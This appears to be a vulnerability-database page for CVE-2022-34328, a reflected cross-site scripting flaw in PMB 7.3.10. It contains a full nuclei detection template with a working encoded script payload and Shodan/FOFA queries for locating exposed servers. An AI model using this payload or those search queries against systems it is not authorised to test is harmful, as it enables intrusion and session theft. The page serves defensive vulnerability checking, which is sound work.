HexBrain

Browse / CVEs / CVE-2022-34328

CVE-2022-34328· sigb / pmb· CWE-79

PMB 7.3.10 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

PMB 7.3.10 contains a reflected cross-site scripting vulnerability via the id parameter in an lvl=author_see request to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of PMB.

How to confirm it

Send: GET {{BaseURL}}/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>' target='cart_info" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-34328 -u <target>

The full check
id: CVE-2022-34328

info:
  name: PMB 7.3.10 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    PMB 7.3.10 contains a reflected cross-site scripting vulnerability via the id parameter in an lvl=author_see request to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/jenaye/PMB/blob/main/README.md
    - https://github.com/jenaye/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34328
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-34328
    cwe-id: CWE-79
    epss-score: 0.02353
    epss-percentile: 0.83854
    cpe: cpe:2.3:a:sigb:pmb:7.3.10:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.html:"PMB Group"
      - http.html:"pmb group"
      - http.favicon.hash:1469328760
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve,cve2022,pmb,xss,pmb_project,sigb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>' target='cart_info"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from